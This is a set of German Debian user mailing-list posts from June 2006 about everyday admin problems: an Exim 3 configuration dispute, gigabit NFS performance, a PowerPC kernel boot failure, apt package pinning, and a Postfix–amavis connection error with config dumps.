 vier Jahren veralteten Version von exim verbringen soll, während
 derjenige, dem ich helfe, sich nicht einmal die Zeit genommen hat um
 eine in Ansätzen aktuelle Version der Software zum Einsatz zu bringen.

Es ist ja schön, dass _du_ mit Exim 4 gut zurecht kommst. Dafür gibt es
ein Bienchen ins Muttiheft. Ich kam es bei meinem letzten Versuch nicht!
Und bevor du weiter sinnfrei unterstellst, halt einfach den Mund. Nicht
jeder ist Exim-Maintainer. Man kann _nicht_ mal eben so ein Monster wie
Exim 4 ausprobieren. Du erzählst Blödsinn und beschimpfst in aller
Regelmäßigkeit noch die Leute, die das dennoch probiert haben. Dafür
müsste ich diverse Lösungen portieren,  wofür ich mich erst vollständig
in die Materie einlesen muss, was Zeit benötigt, die ich momentan nicht
habe, weil ich sie mit diversen Projekten, meinem Studium und ein wenig
RL verschwende. Und was den ersten Satz angeht: Wenn du nicht helfen
willst oder kannst, halte doch bitte einfach den Mund. Du kennst weder
das Einsatzszenario, noch meine persönlichen Erfahrungen. Und ich habe
dich auch nicht persönlich um Hilfe gebeten. Und BTW: Also wenn dir
deine Zeit tatsächlich zu schade wäre, hättest du einfach was anderes
gemacht, als mir derart sinnfreie Antworten zu schicken.

 Exim 3 wird übrigens in Kürze aus Debian unstable entfernt.

Schön. Wenn es soweit ist, werde ich mit Gedanken machen _müssen_. Bis
dahin, würde mich die Antwort auf meine im OP gestellte Frage
interessieren, da ich wohl ähnliches auch in Exim 4 machen müsste und
der Grund für den Fehler daher trotz allem sehr interessant wäre. Da du
die Antwort offenbar nicht kennst und deinen Standpunkt deutlich zum
Ausdruck gebracht hast, verzichte bitte auf weitere Postings.

Daniel, der bei deinen Postings immer häufiger den Kopf schütteln muss



Re: Performance-Problem mit GBit-Netzwerkverbindung

2006-06-08 Diskussionsfäden Richard Mittendorfer
Also sprach Gordon Grubert [EMAIL PROTECTED] (Thu, 08
Jun 2006 12:37:39 +0200):
 Hallo Richard,

Hi Gordon,
 
 Problematischer Debian-Client (baugleich zum Suse-Client):
 - Linux DEBIAN-CLIENT 2.6.15.1
 - Yukon Gigabit Ethernet mit Standard-Treibern (Debian Sarge AMD64)

Probiere mal den Ubuntu Kern, vergleiche aber vorher die .config damit
dir nichts fehlt. Besser noch scheint mir einen Neueren versuchen -
selberbauen oder irgendwoher backporten, ..

  Zeigt nfsstat was Auffaelliges?(mag ich eigentlich schon
  ausschliessen)
 Server rpc stats:
 calls  badcalls   badauthbadclntxdrcall
 228965 2  2  0  0

Normal. Falls das Problem aber am NFS liegt, waeren die v3 Statistiken
interessant.

 Daran aendert sich bei den problematischen Transaktionen auch nichts.

Ein merkwuerdiges Symptom. Mir will ausser den Gigabit-Treibern/Kernel
kein Uebeltaeter einfallen. 

ethtool zeigt deine Karte ja richtig an, setze die Karte dennoch mal
exziplit auf die verwendete Uebertragungsart (u. autoneg off) und
schalte das HW-checksumming testweise ab.

Vergleiche dmesg/proc der identischen Debian und Suse Rechner nach
Auffaelligem (andere Interrupts, acpi..)

 Schoene Gruesse
 Gordon

sl ritch


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Re: Probleme mit Sarge 3.1r2

2006-06-08 Diskussionsfäden Jens Schüßler
* Harald Wenninger [EMAIL PROTECTED] wrote:
 * Am Mittwoch, den 07. Jun 2006 um 18:37, schrieb Jens Schüßler:
 
   * xemacs stürzt unter X direkt nach dem Start mit einem Segfault ab,
 ohne dass ein Fenster geöffnet wird (WM ist fluxbox). Auf der Konsole
 funktioniert es dagegen ganz normal.
  Hab ich nicht installiert, kann ich dir jetzt nicht genau sagen. Aber
  schau mal was 
  $ cat /etc/X11/fluxbox/fluxbox-menu|grep xemacs
  sagt. Dann siehst du, wie der aufgerufen wird.
 
 Ich starte den xemacs ganz normal aus einem xterm.

Das hatte ich jetzt falsch verstanden und dachte du meinst aus einem xterm 
heraus geht es und aus dem fluxbox-Menu nicht.
Und dann auch noch 'useless use of cat'. Ich brauche mehr Kaffee vor dem
posten.

Gruss
Jens



Re: Problem mit exim.conf, der port-Option (remote_smtp) und flexibler Wertzuweisung

2006-06-08 Diskussionsfäden Andreas Kretschmer
am  08.06.2006, um 13:39:19 +0200 mailte Daniel Leidert folgendes:
 Am Donnerstag, den 08.06.2006, 11:09 +0200 schrieb Marc Haber:
  Ich persönlich sehe nicht ein, warum ich meine Zeit mit einer seit
  vier Jahren veralteten Version von exim verbringen soll, während
  derjenige, dem ich helfe, sich nicht einmal die Zeit genommen hat um
  eine in Ansätzen aktuelle Version der Software zum Einsatz zu bringen.
 
 Es ist ja schön, dass _du_ mit Exim 4 gut zurecht kommst. Dafür gibt es
 ein Bienchen ins Muttiheft. Ich kam es bei meinem letzten Versuch nicht!
 Und bevor du weiter sinnfrei unterstellst, halt einfach den Mund. Nicht

Ich würde mich an Deiner Stelle, bevor ich Marc derart ins Bein trete,
schlau machen über die Person 'Marc Haber' und seine Rolle, was 'Exim'
betrifft...


Andreas
-- 
Andreas Kretschmer(Kontakt: siehe Header)
Heynitz:  035242/47215,  D1: 0160/7141639
GnuPG-ID 0x3FFF606C http://wwwkeys.de.pgp.net
 ===Schollglas Unternehmensgruppe=== 


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Re: Programm für Buchhandel

2006-06-08 Diskussionsfäden kai-martin knaak
niels jende wrote:

 yep. das tut es...angefangen bei den Mehwertsteuersätzen, den
 Berichtszeiträumen, etc pp
 

Wegen der fehlenden Mehrwertsteuer-Behandlung ist gnucash bei mir wieder
verworfen worden. Stattdessen setze ich lx-office ein. Das nützt Dir aber
auch nicht viel, denn es ist eine ausdrücklich an deutsche Verhältnisse
angepasste Version von sql-ledger.

---(kaimartin)---
-- 
Kai-Martin Knaak
http://lilalaser.de/blog


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Re: Problem mit exim.conf, der port-Option (remote_smtp) und flexibler Wertzuweisung

2006-06-08 Diskussionsfäden Daniel Leidert
Am Donnerstag, den 08.06.2006, 14:04 +0200 schrieb Andreas Kretschmer:
 am  08.06.2006, um 13:39:19 +0200 mailte Daniel Leidert folgendes:
  Am Donnerstag, den 08.06.2006, 11:09 +0200 schrieb Marc Haber:
   Ich persönlich sehe nicht ein, warum ich meine Zeit mit einer seit
   vier Jahren veralteten Version von exim verbringen soll, während
   derjenige, dem ich helfe, sich nicht einmal die Zeit genommen hat um
   eine in Ansätzen aktuelle Version der Software zum Einsatz zu bringen.
  
  Es ist ja schön, dass _du_ mit Exim 4 gut zurecht kommst. Dafür gibt es
  ein Bienchen ins Muttiheft. Ich kam es bei meinem letzten Versuch nicht!
  Und bevor du weiter sinnfrei unterstellst, halt einfach den Mund. Nicht
 
 Ich würde mich an Deiner Stelle, bevor ich Marc derart ins Bein trete,
 schlau machen über die Person 'Marc Haber' und seine Rolle, was 'Exim'
 betrifft...

Ich kenne seine Rolle ... und seine Postings.

MfG Daniel



Re: Problem mit exim.conf, der port-Option (remote_smtp) und flexibler Wertzuweisung

2006-06-08 Diskussionsfäden Frank Küster
Andreas Kretschmer [EMAIL PROTECTED] wrote:

 am  08.06.2006, um 13:39:19 +0200 mailte Daniel Leidert folgendes:
 Am Donnerstag, den 08.06.2006, 11:09 +0200 schrieb Marc Haber:
  Ich persönlich sehe nicht ein, warum ich meine Zeit mit einer seit
  vier Jahren veralteten Version von exim verbringen soll, während
  derjenige, dem ich helfe, sich nicht einmal die Zeit genommen hat um
  eine in Ansätzen aktuelle Version der Software zum Einsatz zu bringen.
 
 Es ist ja schön, dass _du_ mit Exim 4 gut zurecht kommst. Dafür gibt es
 ein Bienchen ins Muttiheft. Ich kam es bei meinem letzten Versuch nicht!
 Und bevor du weiter sinnfrei unterstellst, halt einfach den Mund. Nicht

 Ich würde mich an Deiner Stelle, bevor ich Marc derart ins Bein trete,
 schlau machen über die Person 'Marc Haber' und seine Rolle, was 'Exim'
 betrifft...

Oh, so schlechte Flames schreibt Daniel nicht.  Der Satz, von dem du nur
noch das Nicht am Zeilenende zitiert hast ging mit jeder ist
Exim-Maintainer weiter...

Gruß, Frank
-- 
Frank Küster
Single Molecule Spectroscopy, Protein Folding @ Inst. f. Biochemie, Univ. Zürich
Debian Developer (teTeX)



Probleme nach Kernel Upgrade

2006-06-08 Diskussionsfäden Daniel Vukicevic
Hallo Liste,

gestern wurde auf einem Mac ein Kernel Upgrade von 2.4 auf 2.6-powerpc
durchgeführt. Leider ist ein ordnungsgemäßes Booten nun nicht mehr möglich.

Folgende Fehlermeldung erhalte ich :


pivot_root: No such file or directory
/sbin/init/:432: cannot open dev/console: No such file


Hier ein Auszug aus der yaboot.conf


/etc/yaboot.conf

boot=/dev/hda2
device=hd:
partition=3
root=/dev/hda3
timeout=100
install=/usr/lib/yaboot/yaboot
magicboot=/usr/lib/yaboot/ofboot
enablecdboot

image=/boot/vmlinux
label=Linux
read-only
initrd=/boot/initrd.img

image=/boot/vmlinux.old
label=Linux.old
read-only

Auszug aus dem /boot DIR :

-rw-r--r--  1 root root  531419 Nov 20  2003 System.map-2.4.18-newpmac
-rw-r--r--  1 root root  563868 Jun  6  2005 System.map-2.4.19
-rw-r--r--  1 root root  944848 Feb 12 22:19 System.map-2.6.8-3-powerpc
-rw-r--r--  1 root root   18601 Nov 20  2003 config-2.4.18-newpmac
-rw-r--r--  1 root root   32467 Jun  6  2005 config-2.4.19
-rw-r--r--  1 root root   40003 Feb 12 20:48 config-2.6.8-3-powerpc
-rw-r--r--  1 root root1024 Apr  7  2005 first.b
-rw-r--r--  1 root root1024 Nov 26  2001 first.b.preserved
lrwxrwxrwx  1 root root  26 Jun  6 18:30 initrd.img -
initrd.img-2.6.8-3-powerpc
-rw-r--r--  1 root root 4620288 Jun  8 13:57 initrd.img-2.6.8-3-powerpc
-rw-r--r--  1 root root 1662976 Jun  7 17:14 initrd.img-2.6.8-3-powerpc.old
-rw-r--r--  1 root root   54760 Apr  7  2005 second.b
-rw-r--r--  1 root root   41680 Nov 26  2001 second.b.preserved
lrwxrwxrwx  1 root root  23 Jun  6 18:31 vmlinux -
vmlinux-2.6.8-3-powerpc
-rw-r--r--  1 root root 3573285 Nov 20  2003 vmlinux-2.4.18-newpmac
-rw-r--r--  1 root root 3848370 Jun  6  2005 vmlinux-2.4.19
-rw-r--r--  1 root root 3967208 Feb 12 22:19 vmlinux-2.6.8-3-powerpc
-rw-r--r--  1 root root 1322157 Jun  6  2005 vmlinux.coff-2.4.19
lrwxrwxrwx  1 root root  14 Jun  6 18:31 vmlinux.old - vmlinux-2.4.19



Jemand ne Idee ?

Grüsse
Daniel Vukicevic


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Re: Problem mit exim.conf, der port-Option (remote_smtp) und flexibler Wertzuweisung

2006-06-08 Diskussionsfäden Andreas Kretschmer
am  08.06.2006, um 14:23:35 +0200 mailte Frank Küster folgendes:
 Andreas Kretschmer [EMAIL PROTECTED] wrote:
 
  am  08.06.2006, um 13:39:19 +0200 mailte Daniel Leidert folgendes:
  Am Donnerstag, den 08.06.2006, 11:09 +0200 schrieb Marc Haber:
   Ich persönlich sehe nicht ein, warum ich meine Zeit mit einer seit
   vier Jahren veralteten Version von exim verbringen soll, während
   derjenige, dem ich helfe, sich nicht einmal die Zeit genommen hat um
   eine in Ansätzen aktuelle Version der Software zum Einsatz zu bringen.
  
  Es ist ja schön, dass _du_ mit Exim 4 gut zurecht kommst. Dafür gibt es
  ein Bienchen ins Muttiheft. Ich kam es bei meinem letzten Versuch nicht!
  Und bevor du weiter sinnfrei unterstellst, halt einfach den Mund. Nicht
 
  Ich würde mich an Deiner Stelle, bevor ich Marc derart ins Bein trete,
  schlau machen über die Person 'Marc Haber' und seine Rolle, was 'Exim'
  betrifft...
 
 Oh, so schlechte Flames schreibt Daniel nicht.  Der Satz, von dem du nur
 noch das Nicht am Zeilenende zitiert hast ging mit jeder ist
 Exim-Maintainer weiter...

Der Punkt ist aber, daß Marc Recht hat.


Andreas, EOD für mich.
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Heynitz:  035242/47215,  D1: 0160/7141639
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Apt-ersetzungs-Problem

2006-06-08 Diskussionsfäden Jan Losinski
Hallo,
Ich fahr seit einiger Zeit Testing und bin auch recht zufrieden damit.
Nur die Amarok-Pakete funktionieren nicht richtig, der hängt sich beim
überblenden mit der xine-engine regelmäßig auf. Das lässt dich jedoch
recht einfach beheben, indem ich das Paket einfach selber aus den
testing-quellen baue.
Jedoch hab ich nach dem installieren immer das Problem, das er mir
'mein' Paket wieder ersetzen will.
Beim installieren sieht das in etwa so aus:

# dpkg -i --simulate debs/amarok*_1.4.0a-1_i386.deb 
(Lese Datenbank ... 208643 Dateien und Verzeichnisse sind derzeit installiert.)
Vorbereiten zum Ersetzen von amarok 1.4.0a-1 (durch 
.../amarok_1.4.0a-1_i386.deb) ...
Vorbereiten zum Ersetzen von amarok-engines 1.4.0a-1 (durch 
.../amarok-engines_1.4.0a-1_i386.deb) ...
Vorbereiten zum Ersetzen von amarok-xine 1.4.0a-1 (durch 
.../amarok-xine_1.4.0a-1_i386.deb) ...

soweit sogut.
dann mach ich irgendwann mal wieder ein upgrade und siehe da:

# apt-get upgrade -s
Paketlisten werden gelesen... Fertig
Abhängigkeitsbaum wird aufgebaut... Fertig
Die folgenden Pakete werden aktualisiert:
  amarok amarok-engines amarok-xine
3 aktualisiert, 0 neu installiert, 0 zu entfernen und 0 nicht aktualisiert.
Inst amarok-xine [1.4.0a-1] (1.4.0a-1 Debian:testing)
Inst amarok-engines [1.4.0a-1] (1.4.0a-1 Debian:testing)
Inst amarok [1.4.0a-1] (1.4.0a-1 Debian:testing)
Conf amarok-engines (1.4.0a-1 Debian:testing)
Conf amarok (1.4.0a-1 Debian:testing)
Conf amarok-xine (1.4.0a-1 Debian:testing)

Warum ersetzt der mir mein Paket immer wieder?

Grüße,

Jan


pgp7aEnx3OXyR.pgp
Description: PGP signature


Re: Programm fü r Buchhandel

2006-06-08 Diskussionsfäden Andreas Pakulat
On 08.06.06 11:25:19, Tobias Krais wrote:
 [...]
 
  ich hab's installiert, ist ein Versuch wert. Das Programm spricht aber 
  deutsch 
  und ich brauche es auf französisch, da ich in Frankreich wohne. Unter KDE 
  habe ich versuchsweise Französisch als Sprache gewählt, bringt aber nichts. 
  Auch export LANG=fr_FR.UTF-8 ; gnucash oder export LANG=fr_FR ; gnucash 
  ändert die Sprache nicht, obwohl es das bei manchen Programmen tut.
 
 Stimmt. Für Deutsch und Englisch sollte dein Wunsch funktionieren, aber
 die französische Version ist nicht. Dann solltest du noch auf die
 stabile Version wechseln. Die bekommst du sogar mit HBCI Unterstützung hier:
 http://aqbanking.alioth.debian.org/debian/ unstable/

Aktuell ist aber soweit ich weiss 1.9.7. Debs dafuer hat Joerg Sommer
fuer ppc und i386 unter http://www.minet.uni-jena.de/~joergs/debian/

Andreas

 oder einfach aus Testing. Wenn du ein Unstable System fährst musst du
 die Installation einfach wieder forcen.

In Unstable ist momentan wohl kein hbci-enabled gnucash, IIRC gibts
Probleme mit aqbanking, weil das gegen openssl gelinkt wird...

Andreas

-- 
Are you a turtle?


-- 
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Re: Probleme nach Kernel Upgrade

2006-06-08 Diskussionsfäden Dirk Finkeldey

Daniel Vukicevic schrieb:


Hallo Liste,

gestern wurde auf einem Mac ein Kernel Upgrade von 2.4 auf 2.6-powerpc
durchgeführt. Leider ist ein ordnungsgemäßes Booten nun nicht mehr möglich.

Folgende Fehlermeldung erhalte ich :


pivot_root: No such file or directory
/sbin/init/:432: cannot open dev/console: No such file


Hier ein Auszug aus der yaboot.conf


/etc/yaboot.conf

boot=/dev/hda2
device=hd:
partition=3
root=/dev/hda3
timeout=100
install=/usr/lib/yaboot/yaboot
magicboot=/usr/lib/yaboot/ofboot
enablecdboot

image=/boot/vmlinux
   label=Linux
   read-only
   initrd=/boot/initrd.img


Die initrd.img ist auch vorhanden / symlink ist korrect ?



image=/boot/vmlinux.old
   label=Linux.old
   read-only


Hm vmlinuz.old läßt sich auch nicht starten ?



Auszug aus dem /boot DIR :

-rw-r--r--  1 root root  531419 Nov 20  2003 System.map-2.4.18-newpmac

Falls du keinen 2.4.18 Kernel mehr verwenden möchtest, solltest du die 
systen.map-2.4.18-newpmac löschen um platz zu sparen - du mußt sie aber 
nicht löschen.



-rw-r--r--  1 root root  563868 Jun  6  2005 System.map-2.4.19
-rw-r--r--  1 root root  944848 Feb 12 22:19 System.map-2.6.8-3-powerpc
-rw-r--r--  1 root root   18601 Nov 20  2003 config-2.4.18-newpmac


Hier gilt das gleiche, wenn nicht mehr gebraucht aufräumen -löschen.


-rw-r--r--  1 root root   32467 Jun  6  2005 config-2.4.19
-rw-r--r--  1 root root   40003 Feb 12 20:48 config-2.6.8-3-powerpc
-rw-r--r--  1 root root1024 Apr  7  2005 first.b
-rw-r--r--  1 root root1024 Nov 26  2001 first.b.preserved
lrwxrwxrwx  1 root root  26 Jun  6 18:30 initrd.img -
initrd.img-2.6.8-3-powerpc

dieser symbolische link muß in / kopiert werden damit beim booten das 
initrd in /boot gefunden wird.


Es müßte auch ein Comprimiertes dateisystem in /initrd liegen, falls das 
Verzeichnis leer ist mach doch mal ein mkinitrd.



-rw-r--r--  1 root root 4620288 Jun  8 13:57 initrd.img-2.6.8-3-powerpc
-rw-r--r--  1 root root 1662976 Jun  7 17:14 initrd.img-2.6.8-3-powerpc.old

Das kommt mir komisch vor, weshalb ist das initrd.img einmal als .old 
dabei  ?

lösch dochmal den initrd.img-2.6.8-3-powerpc.old


-rw-r--r--  1 root root   54760 Apr  7  2005 second.b
-rw-r--r--  1 root root   41680 Nov 26  2001 second.b.preserved
lrwxrwxrwx  1 root root  23 Jun  6 18:31 vmlinux -
vmlinux-2.6.8-3-powerpc


Auch dieser symlink müßte eigentlich in / liegen.


-rw-r--r--  1 root root 3573285 Nov 20  2003 vmlinux-2.4.18-newpmac
-rw-r--r--  1 root root 3848370 Jun  6  2005 vmlinux-2.4.19
-rw-r--r--  1 root root 3967208 Feb 12 22:19 vmlinux-2.6.8-3-powerpc
-rw-r--r--  1 root root 1322157 Jun  6  2005 vmlinux.coff-2.4.19
lrwxrwxrwx  1 root root  14 Jun  6 18:31 vmlinux.old - vmlinux-2.4.19


Dieser ebenso.





Jemand ne Idee ?

Hast du dich vielleicht verschrieben und vmlinux statt vmlinuz erwischt 
(möchte nichts unterstellen).




Grüsse
Daniel Vukicevic

Teste nochmal mit der änderung der symlinks, dan müßte zumindest 
Linux.old wieder Funktionieren.


Mit freundlichen Grüßen Dirk Finkeldey



Re: Apt-ersetzungs-Problem

2006-06-08 Diskussionsfäden Daniel Leidert
Am Donnerstag, den 08.06.2006, 14:54 +0200 schrieb Jan Losinski:

[..]
 # dpkg -i --simulate debs/amarok*_1.4.0a-1_i386.deb 
 (Lese Datenbank ... 208643 Dateien und Verzeichnisse sind derzeit 
 installiert.)
 Vorbereiten zum Ersetzen von amarok 1.4.0a-1 (durch 
 .../amarok_1.4.0a-1_i386.deb) ...
 Vorbereiten zum Ersetzen von amarok-engines 1.4.0a-1 (durch 
 .../amarok-engines_1.4.0a-1_i386.deb) ...
 Vorbereiten zum Ersetzen von amarok-xine 1.4.0a-1 (durch 
 .../amarok-xine_1.4.0a-1_i386.deb) ...
 
 soweit sogut.
 dann mach ich irgendwann mal wieder ein upgrade und siehe da:
 
 # apt-get upgrade -s
 Paketlisten werden gelesen... Fertig
 Abhängigkeitsbaum wird aufgebaut... Fertig
 Die folgenden Pakete werden aktualisiert:
   amarok amarok-engines amarok-xine
 3 aktualisiert, 0 neu installiert, 0 zu entfernen und 0 nicht aktualisiert.
 Inst amarok-xine [1.4.0a-1] (1.4.0a-1 Debian:testing)
 Inst amarok-engines [1.4.0a-1] (1.4.0a-1 Debian:testing)
 Inst amarok [1.4.0a-1] (1.4.0a-1 Debian:testing)
 Conf amarok-engines (1.4.0a-1 Debian:testing)
 Conf amarok (1.4.0a-1 Debian:testing)
 Conf amarok-xine (1.4.0a-1 Debian:testing)
 
 Warum ersetzt der mir mein Paket immer wieder?

Weil beide Pakete die selbe Versionsnummer, aber unterschiedliche
Hashsummen haben. Das Phänomen wurde schon öfter auf dieser Liste
diskutiert (IIRC mal im Zusammenhang mit XFCE4-Paketen). Verpasse deinem
Paket eine andere Paketversion (mittels 'dch -i') und baue das Paket
neu.

MfG Daniel



Re: Problem mit exim.conf, der port-Option (remote_smtp) und flexibler Wertzuweisung

2006-06-08 Diskussionsfäden Marc Haber
On Thu, 08 Jun 2006 13:39:19 +0200, Daniel Leidert
[EMAIL PROTECTED] wrote:
Am Donnerstag, den 08.06.2006, 11:09 +0200 schrieb Marc Haber:
 On Wed, 07 Jun 2006 22:13:39 +0200, Daniel Leidert
 [EMAIL PROTECTED] wrote:
 Ließe sich das mit
 Exim4 denn einfacher realisieren?
 
 Es ist jedenfalls einfacher, jemanden zu finden, der sich mit exim 4
 auskennt.

Prima. Und? Was soll mir dieser Satz sagen?

Das es schwer sein dürfte, jemanden zu finden, der exim 3 (noch)
hinreichend genau kennt um Dir Deine Frage zu beantworten.

Grüße
Marc

-- 
-- !! No courtesy copies, please !! -
Marc Haber |Questions are the | Mailadresse im Header
Mannheim, Germany  | Beginning of Wisdom  | http://www.zugschlus.de/
Nordisch by Nature | Lt. Worf, TNG Rightful Heir | Fon: *49 621 72739834



Postfix + amavis

2006-06-08 Diskussionsfäden mario

hi,

mein syslog ist voll von folgendem fehler:

Jun  8 13:04:50 casino05 postfix/qmgr[10622]: warning: connect to 
transport amavis: Connection refused


kann mir jemand sagen was ich da falsch mache, bzw was ich da ändern muss.

mfg


--
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Re: Apt-ersetzungs-Problem

2006-06-08 Diskussionsfäden Andreas Pakulat
On 08.06.06 14:54:55, Jan Losinski wrote:
 Ich fahr seit einiger Zeit Testing und bin auch recht zufrieden damit.
 Nur die Amarok-Pakete funktionieren nicht richtig, der hängt sich beim
 überblenden mit der xine-engine regelmäßig auf. Das lässt dich jedoch
 recht einfach beheben, indem ich das Paket einfach selber aus den
 testing-quellen baue.
 Jedoch hab ich nach dem installieren immer das Problem, das er mir
 'mein' Paket wieder ersetzen will.

 Warum ersetzt der mir mein Paket immer wieder?

Weil das Paket aus testing eine hoehere Prioritaet hat. Davon abgesehen
dass du einfach die Versionsnummer vor dem bauen erhoehen kannst
(einfach ein .0 anhaengen) solltest du unbeding einen Bugreport gegen
amarok schreiben und darstellen dass das Paket funktioniert wenn du es
bei dir neu baust.

Andreas

-- 
Tuesday After Lunch is the cosmic time of the week.


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Re: Postfix + amavis

2006-06-08 Diskussionsfäden Werner Detter

mario schrieb:

hi,

mein syslog ist voll von folgendem fehler:

Jun  8 13:04:50 casino05 postfix/qmgr[10622]: warning: connect to 
transport amavis: Connection refused


kann mir jemand sagen was ich da falsch mache, bzw was ich da ändern muss.

mfg





Postfix kann sich nicht mit amavis verbinden, poste ein postconf -n und
die relevanten teile deiner master.cf - dann kann man dir helfen :-)

ciao,
Werner


--
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Re: Postfix + amavis

2006-06-08 Diskussionsfäden mario

Werner Detter schrieb:

mario schrieb:

hi,

mein syslog ist voll von folgendem fehler:

Jun  8 13:04:50 casino05 postfix/qmgr[10622]: warning: connect to 
transport amavis: Connection refused


kann mir jemand sagen was ich da falsch mache, bzw was ich da ändern 
muss.


mfg





Postfix kann sich nicht mit amavis verbinden, poste ein postconf -n und
die relevanten teile deiner master.cf - dann kann man dir helfen :-)

ciao,
Werner



hier postconf -n:
append_dot_mydomain = no
biff = no
broken_sasl_auth_clients = yes
config_directory = /etc/postfix
inet_interfaces = all
mailbox_size_limit = 0
mydestination = m33s10.vlinux.de, localhost.vlinux.de, localhost
myhostname = mail.casino05.de
mynetworks = 127.0.0.0/32
myorigin = /etc/mailname
recipient_delimiter = +
relayhost =
smtpd_banner = casino05.de ESMTP (Debian/GNU)
smtpd_recipient_restrictions = permit_mynetworks, 
permit_sasl_authenticated, reject_unauth_destination

smtpd_sasl_auth_enable = yes
smtpd_tls_cert_file = /etc/postfix/smtpd.cert
smtpd_tls_key_file = /etc/postfix/smtpd.key
smtpd_use_tls = yes
virtual_alias_maps = mysql:/etc/postfix/mysql-virtual_forwardings.cf, 
mysql:/etc/postfix/mysql-virtual_email2email.cf

virtual_gid_maps = static:5000
virtual_mailbox_base = /home/vmail
virtual_mailbox_domains = mysql:/etc/postfix/mysql-virtual_domains.cf
virtual_mailbox_maps = mysql:/etc/postfix/mysql-virtual_mailboxes.cf
virtual_uid_maps = static:5000



und noch die master.cf:

# ==
# service type  private unpriv  chroot  wakeup  maxproc command + args
#   (yes)   (yes)   (yes)   (never) (100)
# ==
smtp  inet  n   n   n   -   -   smtpd
#submission inet n  n   -   -   -   smtpd
#   -o smtpd_etrn_restrictions=reject
#628  inet  n   -   n   -   -   qmqpd
pickupfifo  n   -   n   60  1   pickup
cleanup   unix  n   -   n   -   0   cleanup
qmgr  fifo  n   -   n   300 1   qmgr
#qmgr fifo  n   -   -   300 1   oqmgr
rewrite   unix  -   -   n   -   -   trivial-rewrite
bounceunix  -   -   n   -   0   bounce
defer unix  -   -   n   -   0   bounce
trace unix  -   -   n   -   0   bounce
verifyunix  -   -   n   -   1   verify
flush unix  n   -   n   1000?   0   flush
proxymap  unix  -   -   n   -   -   proxymap
smtp  unix  -   -   n   -   -   smtp
relay unix  -   -   n   -   -   smtp
#   -o smtp_helo_timeout=5 -o smtp_connect_timeout=5
showq unix  n   -   n   -   -   showq
error unix  -   -   n   -   -   error
local unix  -   n   n   -   -   local
virtual   unix  -   n   n   -   -   virtual
lmtp  unix  -   -   n   -   -   lmtp
anvil unix  -   -   n   -   1   anvil

#
# Interfaces to non-Postfix software. Be sure to examine the manual
# pages of the non-Postfix software to find out what options it wants.
#
# maildrop. See the Postfix MAILDROP_README file for details.
#
maildrop  unix  -   n   n   -   -   pipe
 flags=DRhu user=vmail argv=/usr/local/bin/maildrop -d ${recipient}
uucp  unix  -   n   n   -   -   pipe
 flags=Fqhu user=uucp argv=uux -r -n -z -a$sender - $nexthop!rmail 
($recipient)

ifmailunix  -   n   n   -   -   pipe
 flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient)
bsmtp unix  -   n   n   -   -   pipe
 flags=Fq. user=bsmtp argv=/usr/lib/bsmtp/bsmtp -d -t$nexthop -f$sender 
$recipient

scalemail-backend unix  -   n   n   -   2   pipe
 flags=R user=scalemail argv=/usr/lib/scalemail/bin/scalemail-store 
${nexthop} ${user} ${extension}


# only used by postfix-tls
#tlsmgr   fifo  -   -   n   300 1   tlsmgr
#smtpsinet  n   -   n   -   -   smtpd -o 
smtpd_tls_wrappermode=yes -o smtpd_sasl_auth_enable=yes
#587  inet  n   n   n   -   -   smtpd -o 
smtpd_enforce_tls=yes -o smtpd_sasl_auth_enable=yes




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Sylpheed läuft nur als Hintergrundprozes s

2006-06-08 Diskussionsfäden Christian Stalp

Hallo zusammen,
ich habe ein kleines Problem mit Sylpheed. Und zwar bin ich gerade von 
KMail zu Sylpheed gewechselt. Dabei habe ich das komplette 
Mail-Verzeichnis als Mail.old gesichert. Ich musste dann jedoch meine 
alten Mails lesen und habe KMail wieder aufgerufen. Dafür habe ich Mail 
zu Mail.sylpheed gemacht und Mail.kmail wieder zurück zu Mail. Leider 
hat das nicht gebracht, ich konnte trotzdem nicht auf meine Mails 
zugreifen, aber das ist halt KMail.
Nun habe ich Mail.sylpheed wieder zu Mail gemacht und Sylpheed gemacht. 
Aber wenn ich nun Sylpheed aufrufe läuft das nur als Hintergrundprozess 
(schlafend).
Auch wenn ich fg sylpheed oder fg prozess-ID aufrufe, bekomme ich nur 
die Meldung no such process! Ich habe auch das .sylpheed-Verzeichnis 
gelöscht, hat leider auch nicht gebracht.


Kann mir da jemand weiterhelfen?

Vielen Dank im Voraus

Gruss Christian



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Re: Postfix + amavis

2006-06-08 Diskussionsfäden Werner Detter


hi,

ich seh da keinen content_filter in der main.cf und auch keine entsprechenden
transports in der master.cf für amavis.


imho solltest du folgenden ablaufplan berücksichtigen:
1) amavis sauber ans laufen bekommen
2) postfix für amavis konfigurieren
3) fertig :-)

ciao,
werner


--
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Re: Emailzugriff auf alle domains.

2006-06-08 Diskussionsfäden Christian Schmidt
Hallo Markus,

Markus Braun, 08.06.2006 (d.m.y):

 überlege gerade ich wich das am besten realisisern kann, dass ich bei 2 
 domainnamen, jeweils auf die Email Ordner zugreifen kann.

Richte im Mailclient doch einfach zwei Accounts ein.

Gruss,
Christian Schmidt

-- 
Ich funktioniere um 9 noch nicht wirklich.
-- Franz J. Nahrada


signature.asc
Description: Digital signature


Re: Problem mit exim.conf, der port-Option (remote_smtp) und flexibler Wertzuweisung

2006-06-08 Diskussionsfäden Christian Schmidt
Hallo Andreas,

Andreas Kretschmer, 08.06.2006 (d.m.y):

 Der Punkt ist aber, daß Marc Recht hat.

ACK.

Allerdings duerfte das IMHO fuer die Loesung von Daniels Problem nicht
soo wesentlich sein.

@Daniel: Ich muss gestehen, dass ich Deine Schilderung nicht ganz
verstanden habe. Koenntest Du nochmal...?

Gruss,
Christian Schmidt

-- 
Es ist falsch, mit dem Zahnstocher an Probleme heranzugehen, wenn der
Abbruchhammer verlangt wird.
-- M.S. Salomon (eigentl. Michael Schmidt-Salomon)


signature.asc
Description: Digital signature


Re: Unterschied testing (Etch) zu stable (3.1 r2/Sarge)

2006-06-08 Diskussionsfäden Michelle Konzack
Am 2006-05-25 18:19:18, schrieb Kai Herlemann:

 Hallo,
 
 zuerst werden die Grundprogramme installiert. Das wird alles in einer 
 GUI vorgenommen. Nach einem reboot werden doch die Pakete installiert, 
 wo man sie auswählen kann (ich meine den Teil, wo man auch Internet 
 einrichtet, die CDs/DVDs einlegt etc., nicht den Teil wo man Partitionen 
 u.ä. einrichtet). Wird auch die Paketinstallation in einer GUI ausgeführt?

Aptitude ?  (TUI)
Synaptic ?  (GUI)

Es gibt noch andere grafische Oberflächen und davon mindestens eine
unter Entwicklung (non public) was auch das System konfigurieren kann.

 Gruß
 Kai

Greetings
Michelle Konzack


-- 
